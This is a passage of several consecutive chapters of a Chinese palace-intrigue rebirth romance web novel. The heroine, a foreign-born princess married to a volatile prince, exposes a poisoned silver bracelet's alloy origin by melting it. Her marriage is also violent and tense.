乌春内心对沈绥干的事情毫不意外,面上却一副惊愕状,“我也是没想到殿下行事如此狠辣,”于是低下头,愧疚道,“对不起。” 愧疚倒是真的愧疚,毕竟这是沈璎手底下的班子,却在她手上折了。 沈璎天真,却也不是个傻的,瞧得出来按沈绥那性子,就算乌春劝,大概也劝不动,便没再多说。 只听她继续哭诉道:“嫂嫂,近来母妃那里发生了些事,我不好跟旁人讲,在这宫中,你肯带着我找萧将军,有些话我便只能同你说……” 听到“母妃”二字,乌春秀眉微动,“进来说话罢。” 两人走向逢春殿,乌春一只脚刚迈过门槛,忽然僵直了身子。 案几歪斜、床榻凌乱、纱幔散落、还有地上暧昧地相互缭绕着的红线…… 不行,惊莲和玉梨还没来得及收拾大殿,这些让人瞧见了像什么话? 耳根登时涨得通红。 便回头对沈璎道,“我平素不守规矩,你也是知道的。殿中不加收拾,凌乱至极,就不带着你入殿了,毓宁宫还有一方后院,院子里有石桌,我们去那儿说话。” 沈璎正沉浸在惆怅之中,不疑有他,跟在乌春身后,忽觉她走路姿态有些奇怪,双腿似带着颤,问道:“嫂嫂是腿上受了伤吗,怎么连路都走不稳?” 小公主如今年岁刚刚十五,不通人事,想不到那一层。 乌春干咳一声,解释道:“是的,昨夜上房揭瓦,膝盖被瓦片砸到,有些酸痛。” 沈璎了然道:“那嫂嫂待会儿传太医来看看,落下了病根可就不好了。” 来到院落,海棠花如云霞,花影在二人身上摇曳,甫一坐下,肩上就有了绯红花瓣。 沈璎道:“前几日陈皇后腹痛,请了太医,说是脉象紊乱,恐怕有堕胎之险。然而陈皇后的脉象,应该早在一个月前就已经安稳了,显然是有人陷害……父皇大怒,谴问坤宁宫中伺候的下人,将陈皇后近来衣食住行问了个明白,又要御膳房将菜单子也呈上来,太医看了后说食材无害,配菜也并不相克,问题不可能出在饮食上。” “父皇便让人将皇后用过的所有东西都搜集在一起,交给三法司联合审查,最后是一个十四岁便断了河东水神案的奇才仵作联合太医一同查出来,问题出在一对镯子上……” 果然是那对镯子出的问题! 沈璎说到这里,眼眶又湿润,“可那镯子,是母妃献给皇后的生辰礼,分明是母妃从德州民间买来的,怎么可能有问题?一定是有人要故意栽赃陷害母妃!” “……父皇得知之后,将母妃禁足于宫中,连下人都不得外出,每日御膳房送来的餐食,也是清淡冰冷的……我真怕母妃被打入冷宫,那冷宫里的日子,母妃怎么能过得?!” 乌春递过去帕子,“你别哭了,宫中争斗向来多,无论是前朝还是后宫。你说那镯子出了问题,可是有毒?” “正是。那镯子看似精致,实则是淬了毒的,戴在有孕女子手上,短时间瞧不出问题,时间一长,便会毒素积累,引发堕胎。如今陈皇后尚且在服药,不知腹中胎儿能不能保住……” “德州的手艺人可还能找到?” “找不到了,前日大理寺快马来报,说那手艺人早早收了摊子,说是做完最后一单赚了一大笔钱,可以游山玩水了,也不知去了何处。” 沈璎哭得极其伤心。 乌春宽慰了几句之后,将人送到门外。回殿后,心里开始盘算。 现下的局势是她要出宫,要通过重重关卡,需要帮助;退一步讲,就算她最后出不了宫,也需要人脉能够保护她不死。 若能通过沈璎找到萧怀文无疑是最好的,但要萧怀文肯帮她,却不是容易事。 和沈绥共事的人,能有什么善茬? 只能赌。 只要她肯花大代价帮沈璎一把、或者帮沈璎的母亲一把,不论结局如何,情义总归是不可估量的。 沈璎再朝着他撒些娇说些好话,萧怀文若是对沈璎有情,必然不会放着她的所求不管,不看僧面看佛面,于情于理,都该帮她。 想到这里,乌春忽然自嘲地笑了。 这世上,真心是最不可测的,若是要赌一个人的真心,只有输的下场。 哪怕萧怀文前世抱着沈璎绣的香囊殉情自刎。 乌春拈起一朵花,揪起花瓣,一瓣是插手此事,一瓣是不插手此事,揪到最后一片花瓣。 不插手。 乌春忽然想起来,跟陈皇后一向不对付的沈绥。 方才沈璎说,三法司审案,最终是大理寺找来的仵作查出来刘贵妃的贺礼有问题…… 可沈绥现在不就挂了职和大理寺一同办案吗?! 若是此事的幕后之人真是沈绥,那便万无一失! 日头之下,陡升寒意。 陈皇后腹中胎儿尤其重要,毕竟陈皇后的背后陈氏是名门世家,国舅陈山是当年能和定安侯谢清之分庭抗礼之人,现下朝中陈氏势力庞大,储君未立。只要陈皇后的肚子没有动静,皇帝就一日不立储君。 而刘贵妃…… 沈璎却想不起来刘贵妃能对沈绥有什么威胁。 刘贵妃的老家在德州,也不是什么权贵望族,性子虽有些跋扈,却也没怎么刁难过沈绥。 乌春揉了揉额角,扔了花茎,暂且搁下此事。 毕竟就算要插手,她也未必有能力插手。 虽然她会医术、蛊术,懂些毒理,既有人在镯子上淬毒诬陷,总会留下蛛丝马迹,大梁太医看不出来,她学的医术和他们不是一条路子,有发现玄妙的可能。 但若是沈绥操纵此事,就未必了。 …… 过了几日,传来沈璎被禁足的消息。 恐怕陈皇后状况不妙,皇帝迁怒之下,连带着沈璎也一道禁了足。派遣来圈禁沈璎的,是宫中禁军,也就是说,萧怀文会守在丽姝宫。 乌春闲着也是闲着,便在宫中走动,想一个人独处,便刻意没让惊莲和玉梨跟着。 路 12. 求助 《被夫君舍弃后重生了》全本免费阅读 乌春回到毓宁宫。 惊莲意外地看着自家殿下从辇车上下来,乌春将前因后果讲了一遍。 惊莲扶着乌春道:“看来大殿下为人不错。但,三殿下若是知道了,恐怕要殿下多费些口舌解释了。” 乌春笑笑:“沈绥还能吃了我不成?你候在此处,想必是有急事罢。” 惊莲看了看四周,引着乌春走入毓宁宫储物的库房,只见阴暗角落里,多出了几个油皮纸包裹,堆在一起,旁边有个木箱子,惊莲打开来,里面装了些瓶瓶罐罐。 算了算日子,距离上次与哥哥通信,才过了大半月,这些东西竟然已经被哥哥置办齐全了。 据说南疆王爱女,时常思念远嫁的女儿,所以南疆寄来些东西并不奇怪,只用了些银子,便通过了皇宫的盘查。 乌春点点头,“关上罢。” 惊莲小心觑着乌春,“殿下,大梁明文律法规定,不允许南疆人在此处擅用害人的蛊术。用蛊医人倒是可以,害人……若是被发现了,可是要被砍头的……” 乌春微微一哂,“你怎知我要害人?” 房中阴暗,因作的是储物用途,天干物燥,便不设烛火,只有一扇窗子用来透光通风。 少女正巧站在窗边,阳关照亮了一半的身子,另一半笼罩在阴影之中。她嘴角噙着笑,该是灿如春华,可因为那半张脸的阴影,平白地让人觉得有些诡异,像是南疆深山美艳的毒蛇。 惊莲愕然地张了张嘴,“殿下……” 乌春深深看了惊莲一眼后,便往外走,离了窗子,整个人都笼罩在黑暗之中,留给惊莲的是背影。 半晌,她才轻巧道:“逗你玩的,你家殿下怎么敢在宫中害人呢?这些是留着用来给殿下治伤的。” 惊莲这才放下心来,搀扶着乌春回到逢春殿。 随着这些东西一同来的,自然还有乌雷的回信。 乌春坐在窗边读信。 信上提及了南疆近况,说是在邻近梁国的深山之处,发现了矿脉,但是矿脉并非完整,有开采痕迹,恐怕是梁人途径此处,发现了矿产,故而偷运,父王为此极其生气。 还提到,南疆王后月氏身边的巫医近来发现了一种可以致使未孕者不孕,孕者流产的毒药,可见月氏对于子嗣一事极其上心,时刻提防旁人加害,连未被南疆人发现的隐患毒药都能查出来。 恐怕很快月氏就该有子嗣了,若是诞下男孩,他这个南疆王子的地位,就不知能不能同今日一样了。 说到此处,乌雷语气万般无奈。 最后,祝乌春安好,望勤加回信。 乌春看完了信,脑海中却划过一道霹雳,竟坐不住,拍案而起! 惊莲吓了一跳,“殿下,您才崴了脚,行动该当仔细些。” 乌春却管不了那么多,只觉得眼前有散落的珍珠一颗颗串起了链。 梁人偷运矿脉、月氏提防使人不孕的毒药;德州手艺人打造镯子、镯子上的毒使陈皇后堕了胎…… 未免也太过巧合! 乌春仔细思考,前世并未收到哥哥写了这些的信,恐怕是因为她不似这一世回信回得及时,恰巧将事件刚发生的时节错过了去。 跟亲人通信,信上说的最多的当是近况。她若是回信晚,乌雷也就不会跟她说这些。 若是镯子淬的毒和南疆的毒是同一种,且用来打造镯子的材料,跟那偷运的矿脉有关系,这一切都解释得通了! 毒性罕见,用料在大梁查不出源头,便既没有办法定刘贵妃的罪,也没有办法洗刷刘贵妃的罪。皇帝盛怒之下,只能怪在刘贵妃头上,刘贵妃便该失宠了。 但这仅仅只是一个推测。 乌春很快冷静下来。 惊莲唤:“殿下、殿下?” 看着惊莲这张脸,她不由想起来前世这丫头为了保护她,被活活射死的场景,血溅三尺,都分不清地上满目的,是枫叶还是血啊…… 想要自在吗?想要逃离重重宫阙吗? 几乎只在瞬息之间,乌春一把抓住惊莲,“惊莲,我要办一件事情,但我不知有几成胜算,若是胜了,我未必能获利,但若是输了,很有可能会引祸上身。我方才思索,打算赌一把。因凡事有舍方有得,我若不豁出去,便永远不可能得到我想要的。” 惊莲微怔,看殿下目光坚定,眼里似缀着星子,不由动容,“殿下想要做什么呢?” 乌春道:“替我叫辆辇车来,我要去找泽安王,就说……他有物件遗失,我来归还。” 找大殿下做什么?也没见殿下回来的时候拿什么东西啊。 惊莲疑惑不解,却什么也没说,道了声“是”,在一刻功夫之内,办好了事。 …… 乌春坐上辇车,望着天边西斜的日头,只盼着辇车能够更快些,毕竟不知什么时候刘贵妃被判罪,若是晚了就没用了,每一日都弥足珍贵啊! 沈珩正准备用晚膳,听到乌春要来见他的时候,心中疑惑,检查了全身配饰,无一物遗失,乌春又怎么可能是来还东西的? 但转念一想,他二人身份尴尬,不久前乌春跟他避嫌都来不及,又怎么会突然亲自到怀德宫来找他? 定是有急事。 于是搁下了玉箸,亲自到前殿接见。 乌春行过礼后,取出袖中一枚扳指,递给沈珩,“这是泽安王殿下方才遗失的扳指,上面纹路模糊,想来殿下时常摩挲,喜爱至极,是以本宫前来归还。” 她特意提到纹路,沈珩就仔细看了看扳指的纹路,上面用墨写了“要事相商”的小字,心中的猜测确定了大半。 沈珩道:“多谢三皇子妃。” 刚要继续说,乌春却带着哭腔道:“大殿下,连您都回宫了,为何三殿下还在外办差?无人知晓,我这些时日在逢春殿中独自一人,如何思念殿下!我夜里常 13. 惹他 《被夫君舍弃后重生了》全本免费阅读 大理寺。 空中已见夕阳残红,半边是日,半边是朦胧的月。 到了散衙之时了。 沈绥换了官服,此时正穿着身素白的交领,似乎将一身的血腥味都能除去,袖中滑出一个银铃铛,落在掌心,修长的手指缠绕红线,把玩起银铃铛。 银铃铛的表面已经有些黑斑。 沈绥往他在大理寺旁隔了条街的官舍走去,刚走了没几步,忽闻疾驰的马蹄声阵阵。 “吁——” 快马停在了大理寺前。 沈绥皱起眉,将银铃铛收入袖中。 “宫中来报,泽安王和三皇子妃查获银镯案重要线索一则,现呈交大理寺。事情紧急,陛下有令,待三皇子妃查探过刘贵妃的献礼银镯后,方可散衙。” 听到延迟散衙,沈绥身边的几个官员都苦大仇深地皱起了眉头,“唉,大理寺好不容易准点散衙,怎么又要延迟……” 等到过了片刻,大理寺门前零零星星的官员才觉出一丝古怪。 宫里为何能查到线索?“泽安王”为何会和“三皇子妃”并列在一起?为何要让三皇子妃查探那银镯子? 实在是不对劲啊! 便都齐齐望向了沈绥。 有些知道那段龃龉的官员,神情精彩极了。 沈绥的脸色不大好看,甚至有些阴沉,锐利的眸光扫了几下,便没人再敢用异样的眼神看他。 在场的官员,一部分是负责谢阮阮案的,一部分是负责银镯案的,现在该是银镯案的官员留下,旁人可以走的,沈绥却没动。 江玄凝刚好从他身边路过,“三殿下,卑职晚时无事,既有闲暇,便与殿下一同处理事务。” 沈绥眸子平静下来,对江玄凝倒是比旁人要客气,“有劳少卿。” 立了不久,一辆卷帘上绣了“珩”字的马车停在大理寺门口。 在它之后,便没有马车了。 沈绥袖子里捏着铃铛的手忽然收紧。 先下来的是沈珩,瞧见了立在夕阳下的沈绥,眼里拂过一丝诧异,而后行至沈绥跟前,“三弟,今日之事说来话长,事情紧急,过后再与你解释。” 话音落下,纤细葱白的手指掀开帘子。 沈绥余光瞥过去,嘴上淡淡对沈珩道:“大殿下是坦荡之人,本宫怎会计较这些细枝末节,自然是公务为先。” 少女腿脚似乎不大方便,跳下马车的时候,咧了咧嘴,随后腿有些瘸,正要一瘸一拐地走来,沈绥两步大步迈过去,一把捏住了乌春的手。 两人的手握在一起。 乌春道:“离殿下上次回宫才过了几日,臣妾却觉得好久没见殿下了呢。” 说着将手从他的手指间抽出来。 沈绥抿了抿唇,一双眼冷得似冬日浸没在雪中的寒松。 乌春立刻挽住他的臂弯。 沈绥眼里的霜雪像是尽数化为了春水,含了浅淡的笑对乌春道:“本宫亦甚是想念爱妃,”说着当着一干人的面,在乌春唇上啄了一下,又旁若无人地将乌春凌乱的发丝拨到耳后,“爱妃的脚是怎么回事?” 虽然眼下太阳西斜,算不得光天化日,但在众目睽睽之下、森严庄重的大理寺门前,这般暧昧亲昵,还是让一些官员红着脸扭过头。 沈珩上前,干咳了一声道:“三皇子妃经过荣秋园时,不慎踩中藤蔓,扭伤了脚。本王恰好在旁。” 最后一句话是在解释,为何他一个跟她没什么关系的大皇子会知道她脚崴了这事。 沈绥淡笑道:“想必爱妃的脚骨是自己正回来的,只是尚未恢复好,便赶来大理寺,虽有大殿下的马车,也走了不少路,这才不便行动。无妨,爱妃既然到了此处,有夫君在,定不会让你受半点苦。” 说着一把将乌春打横抱了起来。 乌春身子一轻,来不及反应,浑身的重量已在沈绥臂上,“干嘛呀。” 沈珩心里叹了口气,三弟这脾气啊。 沈绥问随行的官员:“银镯案线索何在?” 信封递到跟前,沈绥没空手,江玄凝接过来看。 乌春趁着江玄凝看信的功夫,将事情来龙去脉同沈绥说,说到被禁足的沈璎的时候,差点又要落泪,一边觑着沈绥的神色。 若是,此事的幕后之人真是沈绥,那她不就搅了他的计划吗…… 虽然站在沈绥的视角,她根本不是有心,而她本来也不是为了搅和沈绥,但他这人疑心甚重,万一怀疑她怎么办? 沈绥的神情并没有多大变化,静静地听着,仿佛这件事彻头彻尾都和他不相干。 江玄凝看完了信,道:“的确如皇子妃所言,也不排除幕后之人用南疆矿产和南疆毒药作案的可能。” 沈绥道:“既然如此,爱妃通药理,就看一看那银镯子罢。”说着入了大理寺。 他手臂稳且有力,步子迈得大。 乌春在他怀里真是心惊胆战。 好在人多眼杂,他不会对她怎么样。 越过沈绥的肩头,看见沈珩已经上了马车离去。 其实沈珩此人为人不错。也不知前世他的结局如何了,应当不是被沈绥杀,就是被沈绥幽禁罢。 沈绥理当会在帝位上坐很久。 思绪再回来的时候,沈绥已经差人将银镯子呈上来。 “放我下来呀。” 沈绥放她下地,“爱妃当心镯子上的毒,碰的少倒没什么,碰久了的话,本宫要多花许多力气。”又暧昧道,“但本宫不介意。” 他倒是说得自然,乌春却耳根子透红。 在场的谁不知道那毒能让女子避子? 旁边站着的官员恨不得把耳朵捂上,三殿下真是当着外人的面,什么话都敢说。 不过,只有乌春自己知道,他们不会有孩子的。 她幼时落入冰湖,落下病根,受孕不易,前世四年都没有怀上沈绥的孩子。 其实也算是好事罢。 乌春将镯子拿在手里,对着夕阳端详,通体为银,用镂空手艺雕了如意祥云玉兔纹,分明淬了毒,在银器上却瞧不出黑斑。 可见背后之人极其缜密,正是利用了没有人会觉得银镯子能带毒,从而加害。 仵作能查到这银镯子,而不是径直略过,已经十分难得。 乌春掂了掂镯子,半晌没有说话。 夕阳逐渐西沉。 旁边站着的官员都觉得三皇子妃一介南疆女子,就算有些线索,又怎么可能看出端倪? 这可是他们操劳数日都没个结果的案子! 若是真让这三皇子妃将案子破了,他们这些在大理寺办了几年十几年差的官员,脸往哪儿搁?! 也没有人认为乌春能看出些什么,不过是愚昧的妇道人家来瞎搅和罢了。 于是有人要开口,“皇子妃娘娘……” 刚一开口,就被沈绥射来的眼光逼了回去。 “顾大人有何高见?”沈绥淡道,“若是有,为何先前不说,一定要等到现在才说?” 姓顾的一噎,“不敢不敢,只是天色不早,皇子妃娘娘一路风尘仆仆,该歇息歇息,若是查不出来,可明日再议。” 乌春侧过脸,笑道:“你的意思是, 14. 有病 《被夫君舍弃后重生了》全本免费阅读 离得近,乌春也就能闻见沈绥身上淡淡的血腥味。 他幽深如墨的眼眸倒映着晃动的银铃铛。 “臣妾不知道殿下在说什么。” 也就只能这样回答了。 沈绥勾着红线的指尖一动,红线便缠紧了些,他抬眸,“本宫竟是不知,你何时同沈珩走到一处的。” 乌春见他眸色冰凉砭骨,像是覆满了霜雪寸草不生的荒原,她就囚禁在这荒原里。 相比于旁人,沈珩最是让他介意。 还好问的不是她来送线索帮忙破案这事。 但…… 红线在一点点收紧。 从脖颈上的凉意,到让肌肤酥痒,再到束缚压抑…… 他有力的大手从她腰间挪开,捉住手腕,将她的双手反剪在身后。 对死的畏惧像缠绕的红线,乌春眼睫颤动,颤声道:“不、不……殿下,臣妾只是救公主心切,若是用我的名义呈交信件,要耗费许多时间,但若是用大殿下的名义,许多事情都顺利得多……” 沈绥手指微顿,“先前胆大,敢故意讽刺本宫,本宫当你只是对和亲一事心有怨怼,现在胆大,真敢坐沈珩自己的马车,你可知,那是只有泽安王亲属及家眷可以坐的?既然如此大胆,现下你又在怕什么?” “自然是,怕殿下杀我。” 她的眼睫毛一颤一颤,眼中泪光盈盈,像是春雨下噙着雨珠簌簌摇动的花枝,贝齿咬着红唇,连带着银铃铛都开始抖动。 好像真的很怕呢。 沈绥道:“你怕你的枕边之人,却不怕在宫中风头大出招致妒忌嫉恨,说你胆大妄为,你却偏偏对我胆小,真是看不清你了。” 乌春是真的怕沈绥呀! 谁脖子上缠两根线,那线还越收越紧,能不怕的?还有,前世她是怎么死的?高处寒风,万箭穿心! 她怎么可能觉得,沈绥会因那点陪伴与露水,对她心生些微情愫,乃至于能够放她一马…… 念及前世,畏惧之中,忽然溅出点怒的火花,渐渐升腾而起。 凭什么重活一世,她还要这般被他逼迫?他只不过是为了他的颜面,谈不上什么和爱有关的占有欲,就要累得她如此惶恐畏惧,凭什么? 于是望进沈绥的眼,沉声道:“殿下要杀便杀,我的父亲是南疆王,哥哥是南疆王子,也是未来的南疆王,若是杀我,南疆断不会息事宁人!我本来就不该是你的妻子,而应该是大殿下的,而今你却要杀我,这是哪来的道理?” “你以为我不敢杀你吗?!” 红线骤地收紧! 冷白的手背上凸起蜿蜒的青筋。 这话可算是刺到他心坎里去了。 喉间一紧,似乎如一只白骨枯手陡然抓住她的脖颈,乌春窒息得猛烈咳嗽,眼里都被逼出泪。 沈绥眼里渐渐爬上红血丝,“沈珩有什么好的?”他紧紧攫着乌春眼里闪烁的恨意,忽然笑了,眸色逐渐疯癫,“你既然觉得嫁给本宫有亏,不如让他看一看,你是怎么在我身下辗转承欢的,你可知,只要本宫想,就没有做不到的事……” 话语未毕,乌春一口咬在沈绥的手腕上! 沈绥指尖微颤,乌春又用额头去撞沈绥的鼻梁,用了浑身的力,沈绥手不由一松,趁这功夫,乌春从他身上挣扎而下,跌到地上。 血从乌春的嘴角、沈绥的鼻下笔直地淌下。 乌春刺猬似的蜷缩起来,死死抱着自己的双膝,一双眼雪亮地戒备警惕着沈绥。 铃铛落在地上,拖着红线,骨碌碌滚了几圈后静止。 沈绥却没再拽她,道:“你究竟恨我在何处?你有没有想过,哪怕是你嫁给沈珩,也未必如在我身边自在,他那样守礼规矩之人,你若是稍有错处,便要惹得他不悦,更别说翻墙揭瓦之举,禁足一月都已经算好了!” “那又如何?”乌春哭喝,大滴的眼泪珠子似的落下来,“我就算是嫁给狗都比你强!” 同时,沈绥鼻下的血滴在白色衣襟上。被咬了一圈牙印的手陡然一紧,捏起桌上一个瓷盏扔去。 从乌春脸颊边飞过,砸到墙壁,清脆一响,瓷片溅射。 恰在此时,门被吱呀一声打开,进来送菜的伙计瞧见地上的瓷片,还有乌春和沈绥二人剑拔弩张,骇得不知如何是好。 沈绥道:“滚出去!” 乌春却道:“端进来!” 两道目光同时射向伙计。 伙计愣住,该听谁的? 被脸上的肉挤成一条线的眼睛看了看乌春,再看了看沈绥,一个在上、一个在下,一个鼻子流血,一个嘴角沾血,脖子上还有细细的勒痕,这不摆明了夫妻俩打架了吗? 思忖片刻,伙计在沈绥阴冷的目光下,端着菜走进去,将盘子放到离沈绥最远的地方后,一溜儿跑了。 门重新合上。 乌春泪痕未干,却嘲讽地看着沈绥,沈绥额角青筋直跳,冷喝道:“你起来!” “起来让你杀我吗?” 沈绥咬牙道:“你以为我勒死你要那般久?” 乌春恨道:“你还有理?” “起来!”沈绥走过去将人拽起,乌春掰他的手,他两臂一抄,乌春被抱起,而后放在桌上,他眼里的血丝细密如蛛网,抬起乌春的下巴,乌春警惕道:“你干什么?” 沈绥看着她那脖颈,本来是娇嫩得碰一下就会起红痕的肌肤,现下被勒破了皮,皮肤上一圈红印,细小的血珠子往外渗。 乌春拍开沈绥的手,生怕他又发什么疯掐她。 “日后别同我提沈珩。”他冷声道。 乌春看他的眼睛,感觉他眉宇间那股戾气似乎渐渐淡了,随后他眉心微锁。 “那也得看日后会不会有要求到大殿下的地方。”乌春状若随意道。 “有什么是他做得,我做不得的?”沈绥道。 他一边说着,一边取出一块帕子,乌春以为他要擦自己鼻下的血,谁知他把帕子伸到自己下巴底下,沿着脖颈一圈勒痕擦了起来。 他脸色冰冷,并无多少暖意,更让人瞧不出分毫的怜惜之意。 乌春心里不屑冷嗤, 15. 玲珑心 《被夫君舍弃后重生了》全本免费阅读 沈绥眉梢一挑,平静道:“哪有夫妻住两间房的,本宫也并非要做些什么。” 乌春低下头应了声,作出一副羞怯的模样。 帝都的夜凉如水,晚风吹拂起一缕乌春的发丝,拂过沈绥的脸颊,掀起淡淡的一片香漪,沈绥低眸扫了眼乌春,见少女两扇睫毛长翘,像今夜勾人的月亮。 他别开眼。 匠人的打铁铺子悬挂起了纸灯笼,朦胧的光在风中摇晃,锅炉热气扑面而来,熏得人微微眯起眼。 火光如星子迸射,发出滋滋响声。 沈绥将乌春放下来。 他身子有些僵硬,站在了溅射着火花的锅炉几步远处,便不再上前,面色隐隐发白。 乌春倒是并不奇怪。 沈绥有个不为人知的秘密,他怕火。 前世带着她春日出宫过生辰的时候,她曾经央求沈绥为她买支烟花来放,沈绥答应了。点烟花的时候,他却站在后面,并不上前,直到烟花燃放、绽开,沈绥都远远看着。 她以为是沈绥不喜欢这般吵闹的小玩意,后来看见他经过街上耍火杂技的艺人时也避之甚远,才明白,原来沈绥是怕火。 仔细一想,其实也合乎情理,毕竟沈绥年幼时养在青州的时候,曾经遭遇过流匪放火烧宅。 但……眼下前面只是一口熔铸的锅炉,火都被夯实的陶墙挡住,只有零星火花溅出,且远远溅不到他身上,倒也没必要离如此之远,甚至脸色都不大好看。 倒像是比前世更怕火了一些。 江玄凝将银镯子递给匠人。 随行的几个大理寺官员有的目不转睛,有的打起了呵欠。 谁知道这镯子里头到底有没有熔别的材料? 一介小小妇人之言,怎能当真? 银镯子一丢进去,就被火舌淹没。 不同材料熔化的温度不同,银料不易熔化,至少在匠人此锅中,还需要添加陶片集中火力才可让银料熔化,因此若是有别的材料,会比银先熔化。 半刻钟不到。 只见火舌扑腾几下后,银镯子的表面锃亮一片,有银亮的液体缓缓流淌! 当真加入了别的材料! “停!拿出来!”乌春忽然喝道。 旁边人被她这一声喝吓了一跳。 匠人捏着铁钳子,从火焰中夹起镯子。 乌春又道:“别动!” 真是不知她要闹哪出。 匠人的手停在了半空,却忽然明白过来乌春的意图,圆脸上写满了惊奇,“原来如此,原来如此啊!” 黑色粗糙的铁钳子之中,银镯子表面流淌的银亮液体还未落下,就已经在半空中凝固,镂空雕花的银镯子花纹全无,表面粗糙不平。 乌春看着熔化掉的部分,松了口气。 匠人将镯子丢入冷水中,嘶嘶水汽升腾起。 有人奇道:“这是怎么一回事?” 乌春道:“在场的诸位在大理寺办差多年,想必见过各种案件,应当都知晓,不同材料熔化的温度不同,也可以用熔铸一法来区分金属。我并非手工匠人,也并非通识矿料,只是我南疆盛产银器,街上随处可见贩卖银器的商人。银料难得,因此也就有黑心商人偷工减料,用其它的金属和银融在一起作器,却贩卖同银一样的价格。” “所以经常有南疆百姓受骗,家兄与我在出游之时,曾经被商人用以次充好之术欺骗过,幸亏追查到底,抓获卖假银的商人二十余人。他们用在银器中的金属,诸位也应当有所耳闻,叫做锡。” 银镯子已经冷却完毕,匠人将它从水中捞起来,递给江玄凝,官员们登时都围了过来。 “因为锡的外观与银相似,皆呈银亮光泽。我与家兄看过那些商人取材的铺子,锡会比银熔化的温度要低上许多,匠人制作,往往都是先熔铸银,再熔铸锡。而熔化的锡在寻常温度很容易凝固,所以方才先熔化又凝固的,应该是锡料。” “不对!”有见多识广些的人反驳,“锡我也是见过的,但锡的质地比银要软上许多,我见过我爹烧锡粘结金属材料,那用来黏结金属的锡块,指甲掐一下就有痕迹呢!这镯子融化的部分,分明掐不动!” 乌春笑了笑,给匠人递了个眼神,匠人会意,开口道:“诸位有所不知啊,俺们炼金属的手工人,平常都不会用纯正的金属材料,需得混杂几种金属材料,或者在金属之中加些土料,才能用来制作器材,毕竟有些金属的质地并不适合在寻常生活中使用。” “就说这锡料吧,质地太软,若用来作簪子,恐怕还没挽起皇子妃娘娘这一头密而厚的头发就已经弯了,所以呀,俺们往往都加些别的金属熔铸,这一和,那料子的质地就变了!这镯子摸起来如此坚硬,定是在锡中加了别的金属料子哇!” “原来如此……” “竟然是这样的……” 但即便如此,也只能说明用来淬毒的部分,不是银料,而是别的材料,又怎么说明,和南疆王子寄来的那封信有关系呢? 有些想得深些的官员,陡然明白过来! 匠人既然说了会在金属中加些别的材料,那这材料的配比,每个匠人恐怕都有自己一套方子。 但若是……有天然存在于此,且材料分配的比例和这镯子上锡料里的金属分配比例一样的矿料呢? 若是南疆那条矿脉里头能找到这样的矿石,使得锡质地硬同时又有银的光泽,并且在同一锅炉之中熔化的时间相同,那不就说明了,这镯子的材料多半是从南疆矿脉找来的! 若非乌春重生,她其实并不知道这种矿脉只有南疆才有。 前世大梁帝穷尽人力,都没有在大梁本地找到材料锻造的源头。 所以,只有一个可能——那就是矿脉在别的地方! 乌春要赌,赌的就是南疆那条矿脉! 官员们一时炸开了锅,这皇子妃娘娘竟然如此聪慧,他们都不曾想到这一点,原来先前都低估她了。 沈绥一直站在一旁,被众人挡去了身形,也不发话,乌春瞧不清楚他的脸色。 直到此时,他方走上前来,牵起乌春的手,神色淡淡,“诸位既然知晓了银镯子的蹊跷,不妨明日向父皇请旨,重金收购南疆半条矿脉,一来是为了调查案子,二来是平息南疆王之怒,毕竟那矿脉被梁人偷挖过。明日该怎么做, 16. 同榻 《被夫君舍弃后重生了》全本免费阅读 乌春眨了眨眼,一脸坦然道:“也就一般罢。” 反正沈绥都能看出来她说的是些鬼话,她也不必再对他委以虚蛇,日后她才懒得讨好沈绥,只要她能在他身边活到逃出宫就好了。 这样也好,她不必再装了。 沈绥嘴角微僵,一只手将她的头发拨开,另一只手绕到后颈,为颈后的伤口涂抹药膏。 乌春同时从袖中拿出条丝绸,将头发束起来,以免绕在伤口上。 沈绥抹完脖子上的药便去洗手,洗净后蹲下身来,捏起乌春的脚踝,乌春道:“你又要干嘛?” “忘了今日是怎么从大理寺到酒楼,怎么从打铁铺子到客栈的吗?”他不咸不淡道。 冷白的手指褪下她的鞋袜,将她白得几近透明的脚捏在掌中,南疆没有缠足的风俗,乌春的脚生得健康自然,不过沈绥也没有见过别的姑娘的裸足,对他来说,没什么不同。 脚踝微微红肿,在脚踝之上,露出一截纤细光滑的小腿。 乌春觉得沈绥今日真是犯了疯病了,晚饭的时候掐她脖子,现在又给她买药抹药的,若是当着外人的面这样,她还要觉得正常些,但现在只有他二人,沈绥装好夫君给谁看呢? 总不可能沈绥因为掐她心里有愧罢? 足底的温度一点点变得炙热。 他打开小瓶子,将药汁倒在掌心,然后覆上她的脚踝揉捏,乌春登时蹙起眉。 疼。 她的脚一颤,沈绥就停下了动作,神情有些古怪,但到底是放轻了力道。 乌春道:“你就不能再轻些吗?!我的脚崴了,不可用大力揉捏,对骨骼不好。” 沈绥闻言,只好再放轻了力道。 他才用了多大点力气?女儿家都是这么娇气的吗? 乌春紧蹙的眉终于渐渐舒展开。 等到沈绥为她上完了药,脚踝上热意与凉意掺杂,让她好不难受,只好将裙子提起来,小腿都露在外面,好在已经是暮春之时,接近初夏,夜里并不寒凉。 沈绥洗完了手,就看见她白晃晃的小腿露在外面,垂下床榻,一摇一摇。 眸色渐渐暗了下去。 乌春瞥见了,道:“我说了,我今日来癸水了,你若不信,我将裙子掀了给你看。另外,我今日舟车劳顿,实在是累了,你若要用别的法子,别来找我,自己解决。哦对了,不可找别的女子,我嫌脏。” 昂着下巴,神情冷冷,眸子淡淡嘲讽,颇有几分嚣张。 她的胆子可真是越来越大了! 果然,沈绥沉声道:“我竟是不知,你胆大妄为到此等地步,言语举止如此放荡,眼中可还有我这个夫君?” 沈绥哪能不怒? 眸色渐渐燃了起来,额角凸起青筋。 只是看着乌春这一副云淡风轻的模样,他这一腔怒火没处撒,像是一拳打在了棉花上,揉了揉额角,强忍下怒意,踢门而出,木门发出一声沉闷的重响,不知去了何处。 乌春恨不得拍巴掌叫好,最好是晚上都别回来了。自己拉响了铃铛,让守在这一层的打杂丫头送了水来沐浴,也顺便从客栈买了些专门为来往女客人准备的月事带。 沐浴完毕,乌春穿好衣裳,对着镜子梳头,这一梳起来,就耗费了许多时间,等到将要上榻入睡时,沈绥回来了。 带着一身冷意,像是披着一身冰凉的雾气。 沈绥脸色并不太好。 乌春此人,跟他想象中的乖巧安分、循规蹈矩并不一样,先前以为只是一个好看精致的花瓶,终究是个死物,现在才觉得,她才不像是花瓶,更像是枝头生机盎然的春花。 还带着刺,一个不小心就要被她扎到。 乌春道:“都这个时辰了,回来做什么?” “你何必挖苦我。” “谁叫你今日掐我呢。” “那也是你先出言不逊,当着我的面说不如嫁给沈珩。”沈绥语气冰凉,坐到乌春身边,被褥立刻陷下去一块。 